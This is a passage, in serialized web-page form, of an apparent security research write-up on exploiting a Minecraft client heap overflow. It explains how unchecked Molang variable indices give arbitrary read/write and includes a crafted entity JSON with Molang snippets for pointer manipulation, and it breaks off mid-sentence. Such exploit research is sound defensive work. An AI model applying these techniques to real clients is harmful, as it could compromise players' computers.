{\n",{"type":22,"tag":264,"props":154279,"children":154280},{"class":1534,"line":1545},[154281,154285,154289],{"type":22,"tag":264,"props":154282,"children":154283},{"style":4293},[154284],{"type":27,"value":17848},{"type":22,"tag":264,"props":154286,"children":154287},{"style":4309},[154288],{"type":27,"value":11115},{"type":22,"tag":264,"props":154290,"children":154291},{"style":1539},[154292],{"type":27,"value":154293},"buf;\n",{"type":22,"tag":264,"props":154295,"children":154296},{"class":1534,"line":1560},[154297,154301,154305],{"type":22,"tag":264,"props":154298,"children":154299},{"style":4293},[154300],{"type":27,"value":17848},{"type":22,"tag":264,"props":154302,"children":154303},{"style":4309},[154304],{"type":27,"value":11115},{"type":22,"tag":264,"props":154306,"children":154307},{"style":1539},[154308],{"type":27,"value":154309},"len;\n",{"type":22,"tag":264,"props":154311,"children":154312},{"class":1534,"line":1569},[154313,154317,154321],{"type":22,"tag":264,"props":154314,"children":154315},{"style":4293},[154316],{"type":27,"value":17848},{"type":22,"tag":264,"props":154318,"children":154319},{"style":4309},[154320],{"type":27,"value":11115},{"type":22,"tag":264,"props":154322,"children":154323},{"style":1539},[154324],{"type":27,"value":154325},"cap;\n",{"type":22,"tag":264,"props":154327,"children":154328},{"class":1534,"line":1583},[154329],{"type":22,"tag":264,"props":154330,"children":154331},{"style":1539},[154332],{"type":27,"value":17878},{"type":22,"tag":23,"props":154334,"children":154335},{},[154336,154341,154343,154348,154350,154356,154358,154363,154364,154369],{"type":22,"tag":257,"props":154337,"children":154339},{"className":154338},[],[154340],{"type":27,"value":151422},{"type":27,"value":154342}," points to the allocated array of elements, ",{"type":22,"tag":257,"props":154344,"children":154346},{"className":154345},[],[154347],{"type":27,"value":10436},{"type":27,"value":154349}," points just past the last used element, and ",{"type":22,"tag":257,"props":154351,"children":154353},{"className":154352},[],[154354],{"type":27,"value":154355},"cap",{"type":27,"value":154357}," points to the end of the allocated buffer. Notably, the types of ",{"type":22,"tag":257,"props":154359,"children":154361},{"className":154360},[],[154362],{"type":27,"value":10436},{"type":27,"value":12290},{"type":22,"tag":257,"props":154365,"children":154367},{"className":154366},[],[154368],{"type":27,"value":154355},{"type":27,"value":154370}," aren't typical integer types for sizes, but both are pointers.",{"type":22,"tag":23,"props":154372,"children":154373},{},[154374],{"type":27,"value":154375},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":22,"tag":618,"props":154377,"children":154379},{"code":154378},"+---------+         +--------------------+\n|   buf   +-------> | MolangVariable A*  |\n+---------+         +--------------------+\n|   len   +----+    | MolangVariable B*  |\n+---------+    |    +--------------------+\n|   cap   |    |    | MolangVariable C*  |\n+----+----+    |    +--------------------+\n     |         +--> | Empty element slot |\n     |              +--------------------+\n     |                                   ^\n     +-----------------------------------+\n",[154380],{"type":22,"tag":257,"props":154381,"children":154382},{"__ignoreMap":7},[154383],{"type":27,"value":154378},{"type":22,"tag":23,"props":154385,"children":154386},{},[154387,154389,154395,154397,154403],{"type":27,"value":154388},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":22,"tag":257,"props":154390,"children":154392},{"className":154391},[],[154393],{"type":27,"value":154394},"variable.result",{"type":27,"value":154396},") may differ between entities. To get around this, ",{"type":22,"tag":257,"props":154398,"children":154400},{"className":154399},[],[154401],{"type":27,"value":154402},"MolangIndexMap",{"type":27,"value":154404}," is used to map a global variable name to the correct per-entity slot.",{"type":22,"tag":20197,"props":154406,"children":154408},{"id":154407},"molangindexmap",[154409],{"type":27,"value":154402},{"type":22,"tag":23,"props":154411,"children":154412},{},[154413,154418,154420,154426,154428,154434],{"type":22,"tag":257,"props":154414,"children":154416},{"className":154415},[],[154417],{"type":27,"value":154402},{"type":27,"value":154419}," is a per-entity ",{"type":22,"tag":257,"props":154421,"children":154423},{"className":154422},[],[154424],{"type":27,"value":154425},"std::vector\u003Cuint16_t>",{"type":27,"value":154427},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":22,"tag":257,"props":154429,"children":154431},{"className":154430},[],[154432],{"type":27,"value":154433},"variable.result = 0",{"type":27,"value":154435}," it:",{"type":22,"tag":1867,"props":154437,"children":154438},{},[154439,154449,154459],{"type":22,"tag":1871,"props":154440,"children":154441},{},[154442,154444],{"type":27,"value":154443},"Checks the global hashmap for ",{"type":22,"tag":257,"props":154445,"children":154447},{"className":154446},[],[154448],{"type":27,"value":10379},{"type":22,"tag":1871,"props":154450,"children":154451},{},[154452,154454],{"type":27,"value":154453},"If found, uses the global index to look up the per-entity index in ",{"type":22,"tag":257,"props":154455,"children":154457},{"className":154456},[],[154458],{"type":27,"value":154402},{"type":22,"tag":1871,"props":154460,"children":154461},{},[154462,154464],{"type":27,"value":154463},"If not found, creates a new global entry and assigns it ",{"type":22,"tag":257,"props":154465,"children":154467},{"className":154466},[],[154468],{"type":27,"value":154469},"last_index + 1",{"type":22,"tag":23,"props":154471,"children":154472},{},[154473,154475,154480,154482,154487,154489,154494,154496,154501,154503,154508,154509,154515,154517,154522],{"type":27,"value":154474},"This means the same global index for variable ",{"type":22,"tag":257,"props":154476,"children":154478},{"className":154477},[],[154479],{"type":27,"value":10379},{"type":27,"value":154481}," maps to the same position inside every entity’s ",{"type":22,"tag":257,"props":154483,"children":154485},{"className":154484},[],[154486],{"type":27,"value":154402},{"type":27,"value":154488},", but the actual ",{"type":22,"tag":257,"props":154490,"children":154492},{"className":154491},[],[154493],{"type":27,"value":153899},{"type":27,"value":154495}," for ",{"type":22,"tag":257,"props":154497,"children":154499},{"className":154498},[],[154500],{"type":27,"value":10379},{"type":27,"value":154502}," may live at different slots inside each entity's ",{"type":22,"tag":257,"props":154504,"children":154506},{"className":154505},[],[154507],{"type":27,"value":154226},{"type":27,"value":19835},{"type":22,"tag":257,"props":154510,"children":154512},{"className":154511},[],[154513],{"type":27,"value":154514},"Entity.MolangIndexMap[global_index]",{"type":27,"value":154516}," stores the per-entity index (slot) of variable ",{"type":22,"tag":257,"props":154518,"children":154520},{"className":154519},[],[154521],{"type":27,"value":10379},{"type":27,"value":210},{"type":22,"tag":23,"props":154524,"children":154525},{},[154526,154528,154533,154535,154540,154542,154547,154549,154554,154556,154562,154564,154569],{"type":27,"value":154527},"Importantly, we found that indices in the ",{"type":22,"tag":257,"props":154529,"children":154531},{"className":154530},[],[154532],{"type":27,"value":154402},{"type":27,"value":154534}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":22,"tag":257,"props":154536,"children":154538},{"className":154537},[],[154539],{"type":27,"value":154226},{"type":27,"value":154541},". This means that if we overwrite the index of variable ",{"type":22,"tag":257,"props":154543,"children":154545},{"className":154544},[],[154546],{"type":27,"value":10379},{"type":27,"value":154548}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":22,"tag":257,"props":154550,"children":154552},{"className":154551},[],[154553],{"type":27,"value":154226},{"type":27,"value":154555},", we could read from and write to ",{"type":22,"tag":257,"props":154557,"children":154559},{"className":154558},[],[154560],{"type":27,"value":154561},"address + 0x38",{"type":27,"value":154563}," through ",{"type":22,"tag":257,"props":154565,"children":154567},{"className":154566},[],[154568],{"type":27,"value":154394},{"type":27,"value":210},{"type":22,"tag":181,"props":154571,"children":154573},{"id":154572},"building-a-molang-arbitrary-rw-primitive",[154574],{"type":27,"value":154575},"Building a Molang Arbitrary R/W Primitive",{"type":22,"tag":23,"props":154577,"children":154578},{},[154579,154581,154586,154588,154593],{"type":27,"value":154580},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":22,"tag":257,"props":154582,"children":154584},{"className":154583},[],[154585],{"type":27,"value":154256},{"type":27,"value":154587}," - specifically, of ",{"type":22,"tag":257,"props":154589,"children":154591},{"className":154590},[],[154592],{"type":27,"value":154226},{"type":27,"value":154594}," vector.",{"type":22,"tag":23,"props":154596,"children":154597},{},[154598,154600,154605,154607,154612,154613,154618,154620,154625],{"type":27,"value":154599},"Because every entity object is heap-allocated and contains a ",{"type":22,"tag":257,"props":154601,"children":154603},{"className":154602},[],[154604],{"type":27,"value":154226},{"type":27,"value":154606}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":22,"tag":257,"props":154608,"children":154610},{"className":154609},[],[154611],{"type":27,"value":151422},{"type":27,"value":57112},{"type":22,"tag":257,"props":154614,"children":154616},{"className":154615},[],[154617],{"type":27,"value":154226},{"type":27,"value":154619}," vector belonging to an entity object placed just next the ",{"type":22,"tag":257,"props":154621,"children":154623},{"className":154622},[],[154624],{"type":27,"value":154226},{"type":27,"value":154626}," allocated buffer.",{"type":22,"tag":618,"props":154628,"children":154630},{"code":154629},"      +-------------+ \u003C--+                   \n+---> | variable.a  |    |                   \n|     +-------------+    |                   \n|     | variable.b  |    |                   \n|     +-------------+    +- MolangVariableMap allocated buffer\n|     |    . . .    |    |                   \n|     +-------------+    |                   \n|     | variable.f  |    |                   \n|     +-------------+ \u003C--+--+                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     +------+------+       +- Entity Object \n+-----+ buf  | len  |       |                \n      +------+------+       |                \n      | cap  |      |       |                \n      +------+      |       |                \n      +-------------+ \u003C-----+                                       \n",[154631],{"type":22,"tag":257,"props":154632,"children":154633},{"__ignoreMap":7},[154634],{"type":27,"value":154629},{"type":22,"tag":23,"props":154636,"children":154637},{},[154638,154640,154645,154647,154653,154655,154660,154661,154667,154668,154673,154675,154680,154682,154687,154689,154694,154696,154701,154703,154708,154710,154715,154717,154723,154725,154730,154732,154737],{"type":27,"value":154639},"In the scenario above, the ",{"type":22,"tag":257,"props":154641,"children":154643},{"className":154642},[],[154644],{"type":27,"value":154402},{"type":27,"value":154646}," would map ",{"type":22,"tag":257,"props":154648,"children":154650},{"className":154649},[],[154651],{"type":27,"value":154652},"variable.a",{"type":27,"value":154654}," -> index ",{"type":22,"tag":257,"props":154656,"children":154658},{"className":154657},[],[154659],{"type":27,"value":5334},{"type":27,"value":4380},{"type":22,"tag":257,"props":154662,"children":154664},{"className":154663},[],[154665],{"type":27,"value":154666},"variable.b",{"type":27,"value":154654},{"type":22,"tag":257,"props":154669,"children":154671},{"className":154670},[],[154672],{"type":27,"value":602},{"type":27,"value":154674},", and so on. If we overwrite the index for ",{"type":22,"tag":257,"props":154676,"children":154678},{"className":154677},[],[154679],{"type":27,"value":154652},{"type":27,"value":154681}," with a value that is out-of-bounds for the ",{"type":22,"tag":257,"props":154683,"children":154685},{"className":154684},[],[154686],{"type":27,"value":154226},{"type":27,"value":154688},", it can instead index the ",{"type":22,"tag":257,"props":154690,"children":154692},{"className":154691},[],[154693],{"type":27,"value":151422},{"type":27,"value":154695}," field of the entity object above. Reading ",{"type":22,"tag":257,"props":154697,"children":154699},{"className":154698},[],[154700],{"type":27,"value":154652},{"type":27,"value":154702}," will then return the pointer stored at offset ",{"type":22,"tag":257,"props":154704,"children":154706},{"className":154705},[],[154707],{"type":27,"value":154160},{"type":27,"value":154709}," from the start of the ",{"type":22,"tag":257,"props":154711,"children":154713},{"className":154712},[],[154714],{"type":27,"value":154226},{"type":27,"value":154716}," (which in this diagram corresponds to ",{"type":22,"tag":257,"props":154718,"children":154720},{"className":154719},[],[154721],{"type":27,"value":154722},"variable.f",{"type":27,"value":154724},"), and writing to ",{"type":22,"tag":257,"props":154726,"children":154728},{"className":154727},[],[154729],{"type":27,"value":154652},{"type":27,"value":154731}," will overwrite that pointer - corrupting ",{"type":22,"tag":257,"props":154733,"children":154735},{"className":154734},[],[154736],{"type":27,"value":154722},{"type":27,"value":210},{"type":22,"tag":23,"props":154739,"children":154740},{},[154741,154743,154748,154749,154755,154757,154762,154764,154770,154772,154777,154779,154784,154786,154792,154794,154800,154802,154807],{"type":27,"value":154742},"To leak the address of the Minecraft executable we could increment ",{"type":22,"tag":257,"props":154744,"children":154746},{"className":154745},[],[154747],{"type":27,"value":154652},{"type":27,"value":4370},{"type":22,"tag":257,"props":154750,"children":154752},{"className":154751},[],[154753],{"type":27,"value":154754},"variable.a += 8",{"type":27,"value":154756},"), which advances the pointer used for ",{"type":22,"tag":257,"props":154758,"children":154760},{"className":154759},[],[154761],{"type":27,"value":154722},{"type":27,"value":154763}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":22,"tag":257,"props":154765,"children":154767},{"className":154766},[],[154768],{"type":27,"value":154769},"variable.a = variable.exe_leak + \u003Coffset>",{"type":27,"value":154771}," - this updates the ",{"type":22,"tag":257,"props":154773,"children":154775},{"className":154774},[],[154776],{"type":27,"value":154722},{"type":27,"value":154778}," pointer to our chosen address, and writing to ",{"type":22,"tag":257,"props":154780,"children":154782},{"className":154781},[],[154783],{"type":27,"value":154722},{"type":27,"value":154785},", for example ",{"type":22,"tag":257,"props":154787,"children":154789},{"className":154788},[],[154790],{"type":27,"value":154791},"variable.f = 1337",{"type":27,"value":154793},", writes the value ",{"type":22,"tag":257,"props":154795,"children":154797},{"className":154796},[],[154798],{"type":27,"value":154799},"1337",{"type":27,"value":154801}," to offset ",{"type":22,"tag":257,"props":154803,"children":154805},{"className":154804},[],[154806],{"type":27,"value":154160},{"type":27,"value":154808}," from that calculated address.",{"type":22,"tag":20197,"props":154810,"children":154812},{"id":154811},"testing-the-idea",[154813],{"type":27,"value":154814},"Testing the Idea",{"type":22,"tag":23,"props":154816,"children":154817},{},[154818,154820,154825,154827,154832,154834,154839],{"type":27,"value":154819},"We tested the idea by manually adding a pointer to the start of ",{"type":22,"tag":257,"props":154821,"children":154823},{"className":154822},[],[154824],{"type":27,"value":154226},{"type":27,"value":154826}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":22,"tag":1699,"props":154828,"children":154829},{},[154830],{"type":27,"value":154831},"almost",{"type":27,"value":154833}," worked - below is the state of the ",{"type":22,"tag":257,"props":154835,"children":154837},{"className":154836},[],[154838],{"type":27,"value":154226},{"type":27,"value":154840},"'s allocated buffer before the Molang script executes:",{"type":22,"tag":23,"props":154842,"children":154843},{},[154844],{"type":22,"tag":215,"props":154845,"children":154847},{"alt":51899,"src":154846},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":22,"tag":23,"props":154849,"children":154850},{},[154851],{"type":27,"value":154852},"And this is after execution:",{"type":22,"tag":23,"props":154854,"children":154855},{},[154856],{"type":22,"tag":215,"props":154857,"children":154859},{"alt":51899,"src":154858},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":22,"tag":23,"props":154861,"children":154862},{},[154863],{"type":27,"value":154864},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":22,"tag":618,"props":154866,"children":154868},{"code":154867,"language":1527,"meta":7,"className":1525,"style":7},"{\n  \"format_version\": \"1.10.0\",\n  \"minecraft:client_entity\": {\n    \"description\": {\n      \"identifier\": \"minecraft:leash_knot\",\n\n      [...]\n        \n      \"scripts\": {\n        \"initialize\": [\n          \"variable.a = 0;\",\n          \"variable.b = 0;\",\n          \"variable.c = 0;\",\n          [...]\n        ],\n        \"pre_animation\": [\n          \"variable.a = 2.310732e-27;\"\n        ]\n      },\n    }\n  }\n}\n",[154869],{"type":22,"tag":257,"props":154870,"children":154871},{"__ignoreMap":7},[154872,154879,154900,154912,154924,154945,154952,154959,154966,154978,154990,155002,155014,155026,155042,155049,155061,155069,155077,155084,155091,155098],{"type":22,"tag":264,"props":154873,"children":154874},{"class":1534,"line":1535},[154875],{"type":22,"tag":264,"props":154876,"children":154877},{"style":1539},[154878],{"type":27,"value":1542},{"type":22,"tag":264,"props":154880,"children":154881},{"class":1534,"line":1545},[154882,154887,154891,154896],{"type":22,"tag":264,"props":154883,"children":154884},{"style":1549},[154885],{"type":27,"value":154886},"  \"format_version\"",{"type":22,"tag":264,"props":154888,"children":154889},{"style":1539},[154890],{"type":27,"value":1594},{"type":22,"tag":264,"props":154892,"children":154893},{"style":1597},[154894],{"type":27,"value":154895},"\"1.10.0\"",{"type":22,"tag":264,"props":154897,"children":154898},{"style":1539},[154899],{"type":27,"value":4812},{"type":22,"tag":264,"props":154901,"children":154902},{"class":1534,"line":1560},[154903,154908],{"type":22,"tag":264,"props":154904,"children":154905},{"style":1549},[154906],{"type":27,"value":154907},"  \"minecraft:client_entity\"",{"type":22,"tag":264,"props":154909,"children":154910},{"style":1539},[154911],{"type":27,"value":1580},{"type":22,"tag":264,"props":154913,"children":154914},{"class":1534,"line":1569},[154915,154920],{"type":22,"tag":264,"props":154916,"children":154917},{"style":1549},[154918],{"type":27,"value":154919},"    \"description\"",{"type":22,"tag":264,"props":154921,"children":154922},{"style":1539},[154923],{"type":27,"value":1580},{"type":22,"tag":264,"props":154925,"children":154926},{"class":1534,"line":1583},[154927,154932,154936,154941],{"type":22,"tag":264,"props":154928,"children":154929},{"style":1549},[154930],{"type":27,"value":154931},"      \"identifier\"",{"type":22,"tag":264,"props":154933,"children":154934},{"style":1539},[154935],{"type":27,"value":1594},{"type":22,"tag":264,"props":154937,"children":154938},{"style":1597},[154939],{"type":27,"value":154940},"\"minecraft:leash_knot\"",{"type":22,"tag":264,"props":154942,"children":154943},{"style":1539},[154944],{"type":27,"value":4812},{"type":22,"tag":264,"props":154946,"children":154947},{"class":1534,"line":1603},[154948],{"type":22,"tag":264,"props":154949,"children":154950},{"emptyLinePlaceholder":17},[154951],{"type":27,"value":4986},{"type":22,"tag":264,"props":154953,"children":154954},{"class":1534,"line":1612},[154955],{"type":22,"tag":264,"props":154956,"children":154957},{"style":23707},[154958],{"type":27,"value":128741},{"type":22,"tag":264,"props":154960,"children":154961},{"class":1534,"line":1621},[154962],{"type":22,"tag":264,"props":154963,"children":154964},{"style":1539},[154965],{"type":27,"value":154049},{"type":22,"tag":264,"props":154967,"children":154968},{"class":1534,"line":1629},[154969,154974],{"type":22,"tag":264,"props":154970,"children":154971},{"style":1549},[154972],{"type":27,"value":154973},"      \"scripts\"",{"type":22,"tag":264,"props":154975,"children":154976},{"style":1539},[154977],{"type":27,"value":1580},{"type":22,"tag":264,"props":154979,"children":154980},{"class":1534,"line":1642},[154981,154986],{"type":22,"tag":264,"props":154982,"children":154983},{"style":1549},[154984],{"type":27,"value":154985},"        \"initialize\"",{"type":22,"tag":264,"props":154987,"children":154988},{"style":1539},[154989],{"type":27,"value":1557},{"type":22,"tag":264,"props":154991,"children":154992},{"class":1534,"line":1660},[154993,154998],{"type":22,"tag":264,"props":154994,"children":154995},{"style":1597},[154996],{"type":27,"value":154997},"          \"variable.a = 0;\"",{"type":22,"tag":264,"props":154999,"children":155000},{"style":1539},[155001],{"type":27,"value":4812},{"type":22,"tag":264,"props":155003,"children":155004},{"class":1534,"line":1668},[155005,155010],{"type":22,"tag":264,"props":155006,"children":155007},{"style":1597},[155008],{"type":27,"value":155009},"          \"variable.b = 0;\"",{"type":22,"tag":264,"props":155011,"children":155012},{"style":1539},[155013],{"type":27,"value":4812},{"type":22,"tag":264,"props":155015,"children":155016},{"class":1534,"line":1677},[155017,155022],{"type":22,"tag":264,"props":155018,"children":155019},{"style":1597},[155020],{"type":27,"value":155021},"          \"variable.c = 0;\"",{"type":22,"tag":264,"props":155023,"children":155024},{"style":1539},[155025],{"type":27,"value":4812},{"type":22,"tag":264,"props":155027,"children":155028},{"class":1534,"line":1686},[155029,155034,155038],{"type":22,"tag":264,"props":155030,"children":155031},{"style":1539},[155032],{"type":27,"value":155033},"          [",{"type":22,"tag":264,"props":155035,"children":155036},{"style":23707},[155037],{"type":27,"value":10889},{"type":22,"tag":264,"props":155039,"children":155040},{"style":1539},[155041],{"type":27,"value":13071},{"type":22,"tag":264,"props":155043,"children":155044},{"class":1534,"line":4948},[155045],{"type":22,"tag":264,"props":155046,"children":155047},{"style":1539},[155048],{"type":27,"value":44966},{"type":22,"tag":264,"props":155050,"children":155051},{"class":1534,"line":4957},[155052,155057],{"type":22,"tag":264,"props":155053,"children":155054},{"style":1549},[155055],{"type":27,"value":155056},"        \"pre_animation\"",{"type":22,"tag":264,"props":155058,"children":155059},{"style":1539},[155060],{"type":27,"value":1557},{"type":22,"tag":264,"props":155062,"children":155063},{"class":1534,"line":4980},[155064],{"type":22,"tag":264,"props":155065,"children":155066},{"style":1597},[155067],{"type":27,"value":155068},"          \"variable.a = 2.310732e-27;\"\n",{"type":22,"tag":264,"props":155070,"children":155071},{"class":1534,"line":4989},[155072],{"type":22,"tag":264,"props":155073,"children":155074},{"style":1539},[155075],{"type":27,"value":155076},"        ]\n",{"type":22,"tag":264,"props":155078,"children":155079},{"class":1534,"line":4998},[155080],{"type":22,"tag":264,"props":155081,"children":155082},{"style":1539},[155083],{"type":27,"value":38513},{"type":22,"tag":264,"props":155085,"children":155086},{"class":1534,"line":5067},[155087],{"type":22,"tag":264,"props":155088,"children":155089},{"style":1539},[155090],{"type":27,"value":1674},{"type":22,"tag":264,"props":155092,"children":155093},{"class":1534,"line":5075},[155094],{"type":22,"tag":264,"props":155095,"children":155096},{"style":1539},[155097],{"type":27,"value":7163},{"type":22,"tag":264,"props":155099,"children":155100},{"class":1534,"line":5105},[155101],{"type":22,"tag":264,"props":155102,"children":155103},{"style":1539},[155104],{"type":27,"value":1692},{"type":22,"tag":23,"props":155106,"children":155107},{},[155108,155110,155115,155117,155122,155124,155129],{"type":27,"value":155109},"As shown, the pointer of a variable at offset ",{"type":22,"tag":257,"props":155111,"children":155113},{"className":155112},[],[155114],{"type":27,"value":154160},{"type":27,"value":155116}," was modified and the core concept works. During ",{"type":22,"tag":257,"props":155118,"children":155120},{"className":155119},[],[155121],{"type":27,"value":154118},{"type":27,"value":155123}," copy, pointers of some other variables above offset ",{"type":22,"tag":257,"props":155125,"children":155127},{"className":155126},[],[155128],{"type":27,"value":154160},{"type":27,"value":155130}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":22,"tag":23,"props":155132,"children":155133},{},[155134],{"type":27,"value":155135},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":22,"tag":17988,"props":155137,"children":155138},{},[155139,155152],{"type":22,"tag":1871,"props":155140,"children":155141},{},[155142,155144,155150],{"type":27,"value":155143},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":22,"tag":257,"props":155145,"children":155147},{"className":155146},[],[155148],{"type":27,"value":155149},"FLT_MAX",{"type":27,"value":155151},", the value becomes an invalid float causing the increment operation to fail.",{"type":22,"tag":1871,"props":155153,"children":155154},{},[155155,155157,155162,155164,155169,155170,155175,155177,155182],{"type":27,"value":155156},"As noted before, during assignment, ",{"type":22,"tag":257,"props":155158,"children":155160},{"className":155159},[],[155161],{"type":27,"value":154118},{"type":27,"value":155163}," fields are copied, and the ",{"type":22,"tag":257,"props":155165,"children":155167},{"className":155166},[],[155168],{"type":27,"value":40466},{"type":27,"value":154208},{"type":22,"tag":257,"props":155171,"children":155173},{"className":155172},[],[155174],{"type":27,"value":56956},{"type":27,"value":155176},". Since our source ",{"type":22,"tag":257,"props":155178,"children":155180},{"className":155179},[],[155181],{"type":27,"value":154118},{"type":27,"value":155183}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":22,"tag":23,"props":155185,"children":155186},{},[155187],{"type":27,"value":155188},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":22,"tag":20197,"props":155190,"children":155192},{"id":155191},"expanding-the-idea",[155193],{"type":27,"value":155194},"Expanding the Idea",{"type":22,"tag":23,"props":155196,"children":155197},{},[155198,155200,155205,155207,155212,155213,155218,155220,155225],{"type":27,"value":155199},"As mentioned earlier, the ",{"type":22,"tag":257,"props":155201,"children":155203},{"className":155202},[],[155204],{"type":27,"value":34072},{"type":27,"value":155206}," field of ",{"type":22,"tag":257,"props":155208,"children":155210},{"className":155209},[],[155211],{"type":27,"value":154118},{"type":27,"value":16743},{"type":22,"tag":257,"props":155214,"children":155216},{"className":155215},[],[155217],{"type":27,"value":59254},{"type":27,"value":155219},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":22,"tag":257,"props":155221,"children":155223},{"className":155222},[],[155224],{"type":27,"value":40466},{"type":27,"value":155226}," field remain unchanged before and after Molang execution.",{"type":22,"tag":23,"props":155228,"children":155229},{},[155230,155232,155237],{"type":27,"value":155231},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":22,"tag":257,"props":155233,"children":155235},{"className":155234},[],[155236],{"type":27,"value":154226},{"type":27,"value":155238},"’s allocated buffer + 4.",{"type":22,"tag":23,"props":155240,"children":155241},{},[155242,155244,155249,155251,155256,155258,155263,155264,155270],{"type":27,"value":155243},"In the example below, ",{"type":22,"tag":257,"props":155245,"children":155247},{"className":155246},[],[155248],{"type":27,"value":154652},{"type":27,"value":155250}," points to ",{"type":22,"tag":257,"props":155252,"children":155254},{"className":155253},[],[155255],{"type":27,"value":154226},{"type":27,"value":155257},", while ",{"type":22,"tag":257,"props":155259,"children":155261},{"className":155260},[],[155262],{"type":27,"value":154666},{"type":27,"value":155250},{"type":22,"tag":257,"props":155265,"children":155267},{"className":155266},[],[155268],{"type":27,"value":155269},"MolangVariableMap + 4",{"type":27,"value":5785},{"type":22,"tag":618,"props":155272,"children":155274},{"code":155273},"                         variable.f pointer     \n                                 |              \n                   +-------------+-------------+\n                   v                           v\n                                                \n                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[155275],{"type":22,"tag":257,"props":155276,"children":155277},{"__ignoreMap":7},[155278],{"type":27,"value":155273},{"type":22,"tag":23,"props":155280,"children":155281},{},[155282,155284,155289,155290,155295,155297,155302,155304,155309,155311,155316],{"type":27,"value":155283},"Here, the ",{"type":22,"tag":257,"props":155285,"children":155287},{"className":155286},[],[155288],{"type":27,"value":40466},{"type":27,"value":155206},{"type":22,"tag":257,"props":155291,"children":155293},{"className":155292},[],[155294],{"type":27,"value":154652},{"type":27,"value":155296}," starts at the lower 32 bits of the ",{"type":22,"tag":257,"props":155298,"children":155300},{"className":155299},[],[155301],{"type":27,"value":154722},{"type":27,"value":155303}," pointer, while ",{"type":22,"tag":257,"props":155305,"children":155307},{"className":155306},[],[155308],{"type":27,"value":154666},{"type":27,"value":155310}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":22,"tag":257,"props":155312,"children":155314},{"className":155313},[],[155315],{"type":27,"value":154722},{"type":27,"value":155317}," pointer in a separate variable:",{"type":22,"tag":618,"props":155319,"children":155321},{"code":155320},"variable.saved_upper_32 = variable.b;\n",[155322],{"type":22,"tag":257,"props":155323,"children":155324},{"__ignoreMap":7},[155325],{"type":27,"value":155320},{"type":22,"tag":23,"props":155327,"children":155328},{},[155329],{"type":27,"value":155330},"Then we can modify the lower 32 bits of the pointer:",{"type":22,"tag":618,"props":155332,"children":155334},{"code":155333},"variable.a = variable.a + itof(0x8);\n",[155335],{"type":22,"tag":257,"props":155336,"children":155337},{"__ignoreMap":7},[155338],{"type":27,"value":155333},{"type":22,"tag":23,"props":155340,"children":155341},{},[155342],{"type":27,"value":155343},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":22,"tag":618,"props":155345,"children":155347},{"code":155346},"                   +-------------+-------------+\n                   | a8 bb cc dd | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[155348],{"type":22,"tag":257,"props":155349,"children":155350},{"__ignoreMap":7},[155351],{"type":27,"value":155346},{"type":22,"tag":23,"props":155353,"children":155354},{},[155355,155357,155362],{"type":27,"value":155356},"Since the 32 bits directly below the ",{"type":22,"tag":257,"props":155358,"children":155360},{"className":155359},[],[155361],{"type":27,"value":40466},{"type":27,"value":155363}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":22,"tag":618,"props":155365,"children":155367},{"code":155366},"variable.b = variable.saved_upper_32;\n",[155368],{"type":22,"tag":257,"props":155369,"children":155370},{"__ignoreMap":7},[155371],{"type":27,"value":155366},{"type":22,"tag":23,"props":155373,"children":155374},{},[155375,155377,155382],{"type":27,"value":155376},"Now ",{"type":22,"tag":257,"props":155378,"children":155380},{"className":155379},[],[155381],{"type":27,"value":154722},{"type":27,"value":155383}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":22,"tag":618,"props":155385,"children":155387},{"code":155386},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                    \n+-------------+                                 \n|    . . .    |                                 \n",[155388],{"type":22,"tag":257,"props":155389,"children":155390},{"__ignoreMap":7},[155391],{"type":27,"value":155386},{"type":22,"tag":23,"props":155393,"children":155394},{},[155395,155397,155402],{"type":27,"value":155396},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":22,"tag":257,"props":155398,"children":155400},{"className":155399},[],[155401],{"type":27,"value":155269},{"type":27,"value":155403}," on the heap?",{"type":22,"tag":23,"props":155405,"children":155406},{},[155407,155409,155414,155416,155422],{"type":27,"value":155408},"Additionally, adding 8 to 